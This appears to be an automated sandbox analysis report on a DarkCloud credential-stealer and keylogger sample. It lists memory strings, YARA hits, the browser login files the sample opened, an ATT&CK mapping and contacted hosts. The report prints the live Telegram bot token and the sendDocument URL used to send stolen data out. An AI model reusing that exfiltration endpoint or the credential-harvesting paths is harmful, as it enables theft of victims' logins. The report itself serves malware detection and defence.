Source: WebData.1.dr	Binary or memory string: AMC password management pageVMware20,11696487552
Source: WebData.1.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696487552d
Source: WebData.1.dr	Binary or memory string: interactivebrokers.comVMware20,11696487552
Source: WebData.1.dr	Binary or memory string: dev.azure.comVMware20,11696487552j
Source: WebData.1.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696487552]
Source: WebData.1.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696487552x
Source: WebData.1.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696487552
Source: WebData.1.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696487552h
Source: WebData.1.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696487552z
Source: WebData.1.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696487552~
Source: WebData.1.dr	Binary or memory string: outlook.office365.comVMware20,11696487552t
Source: WebData.1.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696487552^
Source: WebData.1.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696487552p
Source: WebData.1.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696487552n
Source: WebData.1.dr	Binary or memory string: outlook.office.comVMware20,11696487552s
Source: WebData.1.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696487552
Source: WebData.1.dr	Binary or memory string: turbotax.intuit.comVMware20,11696487552t
Source: WebData.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552x
Source: WebData.1.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696487552}
Source: WebData.1.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696487552

Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:51]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:07]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 59]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:01]<<Program Manager>>
Source: KeyDataUNbfPUtV.txt.1.dr	Binary or memory string: [07:41:27]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: :58]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: <Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 07:39:56]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: ]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:45]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:56]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:08]<<Program Manager>>
Source: KeyDatakmrNhWWq.txt.1.dr	Binary or memory string: [07:40:58]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:00]<<Program Manager>>
Source: KeyDataXAbtkbVC.txt.1.dr	Binary or memory string: [07:40:36]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9:58]<<Program Manager>>
Source: KeyDatafTuSdKgn.txt.1.dr	Binary or memory string: [07:41:10]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:47]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:05]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 7:39:57]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:42]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:46]<<Program Manager>>
Source: KeyDatakmrNhWWq.txt.1.dr	Binary or memory string: [07:41:06]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2385236375.000000000088D000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003328000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:29]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:50]<<Program Manager>>
Source: KeyDataXAbtkbVC.txt.1.dr	Binary or memory string: [07:40:35]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:09]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:55]<<Program Manager>>
Source: KeyDatakmrNhWWq.txt.1.dr	Binary or memory string: [07:40:57]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:48]<<Program Manager>>
Source: KeyDatafTuSdKgn.txt.1.dr	Binary or memory string: [07:41:08]<<Program Manager>>
Source: KeyDataUNbfPUtV.txt.1.dr	Binary or memory string: [07:41:19]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:04]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:55]<<Program Manager>[
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: 9]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:10]<<Program Manager>>
Source: KeyDataXAbtkbVC.txt.1.dr	Binary or memory string: [07:40:37]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:59]<<Program Manager>>
Source: KeyDataQBoKXMWe.txt.1.dr	Binary or memory string: [07:40:48]<<Program Manager>>
Source: KeyDatakmrNhWWq.txt.1.dr	Binary or memory string: [07:40:59]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003328000.00000004.00000020.00020000.00000000.sdmp, KeyDataaUlOfcDD.txt.1.dr	Binary or memory string: [07:39:32]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:43]<<Program Manager>>
Source: KeyDatafTuSdKgn.txt.1.dr	Binary or memory string: [07:41:09]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:54]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:56]<<Program Manager>
Source: KeyDataKatNRXIK.txt.1.dr	Binary or memory string: [07:40:25]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:03]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:44]<<Program Manager>>
Source: KeyDataQBoKXMWe.txt.1.dr	Binary or memory string: [07:40:47]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:11]<<Program Managern Fa(a){return a.s===M?a.toJSON():Aa(a)};function Ga(a,b,c){c=void 0===c?K:c;if(null!=a){if(ta&&a instanceof Uint8Array)return b?a:new Uint8Array(a);if(Array.isArray(a)){var d=H(a);if(d&2)return a;if(b&&!(d&64)&&(d&32\|\|0===d))return I(a,d\|34),a;a=Ea(a,Ga,d&4?K:c,!0,!1,!0);b=H(a);b&4&&b&2&&Object.freeze(a);return a}a.s===M&&(b=a.h,c=J(b),a=c&2?a:Q(a.constructor,Ha(b,c,!0)));return a}}function Ha(a,b,c){var d=c\|\|b&2?K:xa,e=!!(b&32);a=Ba(a,b,function(f){return Ga(f,e,d)});G(a,32\|(c?2:0));return a};function Ia(a,b){a=a.h;return Ja(a,J(a),b)}function Ja(a,b,c,d){if(-1===c)return null;if(c>=L(b)){if(b&256)return a[a.length-1][c]}else{var e=a.length;if(d&&b&256&&(d=a[e-1][c],null!=d))return d;b=c+((b>>9&1)-1);if(b<e)return a[b]}}function Ka(a,b,c,d,e){var f=L(b);if(c>=f\|\|e){e=b;if(b&256)f=a[a.length-1];else{if(null==d)return;f=a[f+((b>>9&1)-1)]={};e\|=256}f[c]=d;e&=-1025;e!==b&&I(a,e)}else a[c+((b>>9&1)-1)]=d,b&256&&(d=a[a.length-1],c in d&&delete d[c]),b&1024&&I(a,b&-1025)}
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:52]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:58]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:11]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:06]<<Program Manager>>
Source: KeyDatafTuSdKgn.txt.1.dr	Binary or memory string: [07:41:17]<<Program Manager>>
Source: KeyDataUNbfPUtV.txt.1.dr	Binary or memory string: [07:41:20]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:53]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:57]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: /bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896376004.00000000033CB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:40:02]<<Program Manager>>
Source: wMy37vlfvz.exe, 00000001.00000003.2869865932.000000000090A000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: [07:39:49]<<Program Manager>>
Source: KeyDataQBoKXMWe.txt.1.dr	Binary or memory string: [07:40:46]<<Program Manager>>
Source: KeyDataKatNRXIK.txt.1.dr	Binary or memory string: [07:40:24]<<Program Manager>>

Stealing of Sensitive Information

Yara detected DarkCloud

Source: Yara match	File source: wMy37vlfvz.exe, type: SAMPLE
Source: Yara match	File source: 1.0.wMy37vlfvz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.2349408415.0000000000401000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wMy37vlfvz.exe PID: 4304, type: MEMORYSTR

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\wMy37vlfvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\wMy37vlfvz.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior

Source: Yara match

File source: Process Memory Space: wMy37vlfvz.exe PID: 4304, type: MEMORYSTR

Remote Access Functionality

Yara detected DarkCloud

Source: Yara match	File source: wMy37vlfvz.exe, type: SAMPLE
Source: Yara match	File source: 1.0.wMy37vlfvz.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000001.00000000.2349408415.0000000000401000.00000080.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: wMy37vlfvz.exe PID: 4304, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	1 Windows Management Instrumentation	1 DLL Side-Loading	2 Process Injection	2 Process Injection	1 OS Credential Dumping	1 Security Software Discovery	Remote Services	1 Data from Local System	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 DLL Side-Loading	LSASS Memory	1 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	1 Application Window Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	1 System Information Discovery	SSH	Keylogging	14 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label
wMy37vlfvz.exe	66%	ReversingLabs	Win32.Trojan.DarkCloud
wMy37vlfvz.exe	100%	Avira	TR/Dropper.Gen
wMy37vlfvz.exe	100%	Joe Sandbox ML

Dropped Files

⊘No Antivirus matches

Unpacked PE Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
showip.net	162.55.60.2	true	false	high
s-part-0035.t-0009.t-msedge.net	13.107.246.63	true	false	high
api.telegram.org	149.154.167.220	true	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-SC:::user-PC\user\8.46.123.75	false		high
https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115850689&caption=DC-KL:::user-PC\user\8.46.123.75	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://ac.ecosia.org/autocomplete?q=	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/cZ	wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/chrome_newtab	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://schema.org	wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419621797.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/ac/?q=	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot8165068013:AAFuCn4n-0ULh45xSnNPfqymllZH1zW0UYM/sendDocument?chat_id=6115	wMy37vlfvz.exe, 00000001.00000003.2896467976.0000000000909000.00000004.00000020.00020000.00000000.sdmp	false	high
https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1	wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/bot	wMy37vlfvz.exe	false	high
https://showip.net/	wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419621797.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/	wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.openstreetmap.org/copyright	wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419621797.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://unpkg.com/leaflet	wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/wA	wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp	false	high
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high
http://www.maxmind.com	wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://showip.net/?checkip=	wMy37vlfvz.exe, 00000001.00000003.2422426682.00000000008DC000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419621797.00000000008FF000.00000004.00000020.00020000.00000000.sdmp, wMy37vlfvz.exe, 00000001.00000003.2419730320.00000000008CB000.00000004.00000020.00020000.00000000.sdmp	false	high
https://www.ecosia.org/newtab/	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high
https://api.telegram.org/IlD	wMy37vlfvz.exe, 00000001.00000003.2896286936.0000000003348000.00000004.00000020.00020000.00000000.sdmp	false	high
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	wMy37vlfvz.exe, 00000001.00000003.2372220931.000000000087E000.00000004.00000020.00020000.00000000.sdmp	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
149.154.167.220	api.telegram.org	United Kingdom		62041	TELEGRAMRU	false
162.55.60.2	showip.net	United States		35893	ACPCA	false

General Information

